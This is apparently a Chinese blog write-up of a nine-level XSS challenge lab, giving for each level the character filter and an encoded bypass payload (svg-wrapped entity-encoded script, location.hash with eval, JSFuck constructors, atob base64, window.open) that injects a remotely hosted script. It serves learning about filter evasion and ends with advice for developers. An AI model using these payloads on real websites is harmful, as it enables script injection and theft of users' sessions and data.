本文内容:

XSS独孤九剑修炼学习记录

第一关

http://xcao.vip/test/xss1.php/?data=

image-20200703195704192

这一关过滤了=(),这样就用不了我们的on事件等

这里有个思路就是采用<svg>标签可以对<script>标签内的HTML实体编码后的数据进行解码处理的特点,从而可以绕过=()的过滤

首先闭合前面的标签

http://xcao.vip/test/xss1.php/?data=1">

然后使用<svg>来包裹我们需要的的<script>标签

http://xcao.vip/test/xss1.php/?data=1"><svg><script></script></svg>

image-20200703202924191

现在需要嵌入我们需要执行的任意JS代码即可

但这里需要注意的是,<svg标签只能解析<script>内的HTML实体编码,对于形如<script src='http://xxx.com' />是不能解析的

所以这里需要引入一个中间过程来处理这个

这里经过测试

document.body.appendChild(document.createElement('script'))

是可以创建新的标签<script>

然后通过给新创建的<script>加上src属性即可

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

现在只需要进行HTML实体编码以及URL编码即可

最终payload

http://xcao.vip/test/xss1.php?data=1%22%3E%3Csvg%3E%3Cscript%3E%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x2e%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6e%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6c%3B%26%23x64%3B%26%23x28%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6c%3B%26%23x65%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x27%3B%26%23x29%3B%26%23x29%3B%26%23x2e%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3a%3B%26%23x2f%3B%26%23x2f%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6f%3B%26%23x2e%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2f%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2f%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2e%3B%26%23x6a%3B%26%23x73%3B%26%23x27%3B%26%23x3b%3B%3C%2Fscript%3E%3C%2Fsvg%3E

image-20200703211652734

他那个作者写的攻略是通过location.hash来从锚点读取要执行的命令,这么做的好处就是不需要对命令进行HTML实体编码

对了,要注意浏览器的解码顺序都是URL解码开始,所有在传入payload的时候需要进行URL编码处理

第二关

http://xcao.vip/test/xss2.php/?data=

第二关过滤=().

这道题好像用第一关的payload打即可,Hhhhh

http://xcao.vip/test/xss2.php?data=1%22%3E%3Csvg%3E%3Cscript%3E%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x2e%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6e%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6c%3B%26%23x64%3B%26%23x28%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6c%3B%26%23x65%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x27%3B%26%23x29%3B%26%23x29%3B%26%23x2e%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3a%3B%26%23x2f%3B%26%23x2f%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6f%3B%26%23x2e%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2f%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2f%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2e%3B%26%23x6a%3B%26%23x73%3B%26%23x27%3B%26%23x3b%3B%3C%2Fscript%3E%3C%2Fsvg%3E

还有一个解法就是用setTimeOut

image-20200703213909217

原理是一样的,这里要注意的是要对setTimeOut里的参数进行Unicode编码处理

第三关

http://xcao.vip/test/xss3.php?data=

这一关过滤了().&#\,那就不能用HTML实体编码来打了

但这里等号=却没有过滤

这里是直接用<script src='xxxxxxx.js'></script>来触发

但是这里需要注意的是,由于把.给过滤了,这里需要二次URL编码进行绕过

所以最终payload为:

http://xcao.vip/test/xss3.php?data=1"><script src='http://xcao%252Evip/xss/alert%252Ejs'></script>

第四关

http://xcao.vip/test/xss4.php?data=

这一关过滤了=().&#\

实际上这时候Unicode、HTML实体编码因为都有上面的字符,所以不能用了

这里用到了location['replace']这个方法

image-20200703225852873

大概就是载入新的网页,其中的参数接受URL,所以会对里面进行URL解码操作

由于javascript:xxxx输入协议簇,因此同样适用

比如location['replace']('javascript:alert(1);')会弹窗一样

这里本想直接在location['replace']()中执行

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

但发现一直有问题,所以这里采用锚点的方式来取我们要执行的语句

要注意location['replace']()的参数要二次URL编码

所以最终的payload

http://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27replace%27]`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C/script%3E#with(document)body.appendChild(createElement(/script/.source)).src='http://xcao.vip/xss/alert.js'

image-20200703234819724

至于为什么是两个eval我也不晓得,我这里测试只用一个也是可以的,但如果不加eval的话,会把http://xcao.vip/xss/alert.js打印到页面上

第五关

http://xcao.vip/test/xss5.php?data=

过滤了().&#\%,这里能用的有=,而且第三关的套路已经因为%被禁用而不能用了

但这里却可以用自己的服务器跳转,具体实现方式就是将IP转换为十进制

image-20200703235731779

在自己的服务器上通过 302 进行跳转到http://xcao.vip/xss/alert.js

我这里没有可用的服务器,就不复现了,反正原理很简单的

第六关

http://xcao.vip/test/xss6.php?data=

过滤了=().&#\%

单纯看过滤就知道HTML实体编码、URL编码和Unicode编码已经用不了了

这里我看到的做法是引入了document.writeJS语句写入到页面

但这里需要引入<img标签

否则就会这样

image-20200704145427296

image-20200704145654912

所以payload

http://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%27write%27]`%3Cimg%20${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

image-20200704145903650

所以说使用${}作为变量包裹需要在ES6的场景下才能使用,不过我还是有些不明白为什么<img后面有个逗号,

image-20200704150439315

这里面实际上是没有,

第七关

http://xcao.vip/test/xss7.php/?data=

这一关比较强,过滤了=().&#\%<>

那么HTML实体编码、URL编码还有<标签>也用不了了

不过看他这一关,输出是在script标签里面

image-20200704152555326

这一关我们可以采用类似于JSFuck的方式来进行绕过

一些基本的表达:

  • false => ![]
  • true => !![]
  • undefined => [][[]]
  • NaN => +[![]]
  • 0 => +[]
  • 1 => +!+[]
  • 2 => !+[]+!+[]
  • 10 => [+!+[]]+[+[]]
  • Array => []
  • Number => +[]
  • String => []+[]
  • Boolean => ![]
  • Function =>[][“filter”]`
  • eval => []["filter"]["constructor"](CODE)()
  • window => []["filter"]["constructor"]("return this")()

那么我用这里用

image-20200704153523346

事实证明这么写是可以的

现在需要把payload触发即可

http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

这钱原作者在触发XSS的时候提到了,由于ES6模板语法的问题导致需要在$前面加一个字符才可以

image-20200704153851963

这里看到同样有一个逗号,,这里需要加个字符来把这个逗号给堵上才可以

image-20200704154409753

我猜测是加上的字符就是作为形参来填补位置,这么解释的话就通了

第八关

http://xcao.vip/test/xss8.php/?data=

过滤为=().&#\%<>'"[]

那么JSfuck就用不了了

这里就可以采用atob来把base64编码后的payload打过去(这里自己反引号前的把\删掉,也可以不删

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}\`\`\`

image-20200706103748507

image-20200706103819908

感觉还是很妙,但是输出点在script标签里面,实际上的利用价值不是很大

第八-1关

http://xcao.vip/test/xss8-1.php?data=x

这一关的过滤了=().&#\%<>'"{}

这里没有过滤[]

然后我看他这里是通过给script标签内部的a变量进行赋值,那么是不是可以通过atob函数来进行payload解码,然后通过javascript伪协议执行我们的a变量

http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`

image-20200706104829880

但是实际利用价值不高Hhhhhh

第八-2关

http://xcao.vip/test/xss8-2.php?data=x

这一关的过滤是=().&#\%<>'"[]Function

这一关把[]过滤了,就没法引入函数的方式来调用了

所以说这里需要引入一个新的函数来代替Fuction

这里原作者选择了window.open函数进行替代

image-20200706110251319

这里解释一下payload

http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}`

它实际上,这时候是把name的参数作为变量传入到URL里面,这里实际上他传入的是形参,所以说如果写入的是na1me而不是name是肯定没法触发的,这里把base64解码一下看看结果

image-20200706111019259

所以思路很简单,就是把payload作为参数传入到Window openURL形参当中,进行触发

这里也写一下为什么第七关会报错

image-20200706111140281

这里之所以需要在$在前面加个字符,就是为了把那么字符作为参数传入

image-20200704154409753

第九关

http://xcao.vip//test/xss9.php?data=

这一关的过滤为().&#\%<>"$[]{};,/,还有个反引号

这个作者用的是

http://xcao.vip/test/xss9.php?data=location=name

但这个打开就无限跳,而且输出点还是在script的变量里面,利用条件太难了(Giao

总结

XSS的时候,一定要看过滤,也可以直接fuzz跑一遍

手工+脚本注入一起用效果会好很多

对于开发而言,一定要用框架,不要自己写过滤,很容易漏过滤,过滤的顺序也不能出错,防止出现字符逃逸